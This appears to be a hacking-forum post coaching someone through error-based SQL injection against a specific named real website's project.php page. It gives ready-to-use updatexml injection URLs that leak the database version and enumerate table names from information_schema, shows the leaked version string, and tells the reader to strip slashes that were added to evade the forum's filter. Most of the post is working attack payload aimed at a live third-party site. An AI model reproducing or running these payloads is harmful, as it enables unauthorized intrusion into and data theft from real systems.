Union based is probably not possible here, because same query is used somewhere else... I recommend you to try injecting with XPATH updatexml function, it's more simple, and faster than usual error based injection.
http://www.drewapenaar.nl/project.php?id=-67 and upda/texml(0x3a,conc/at(0x3a,ver/sion(),0x3a),null)--
check the page source code, and you will see the version:
Error : XPATH syntax error: ':5.5.54-0ubuntu0.12.04.1:'
now you can just change version() to
(select table_/name from information_/schema.tables where table_sche/ma=dat/abase() limit 0,1)
so it becomes like this:
http://www.drewapenaar.nl/project.php?id=-67 and updat/exml(0x3a,conc/at(0x3a,(select table/_name from informa/tion_schema.ta/bles where table/_schema=databa/se() limit 0,1),0x3a),null)
and it's the same concept for every step.
just remove " / " as i added it because of hackforums waf.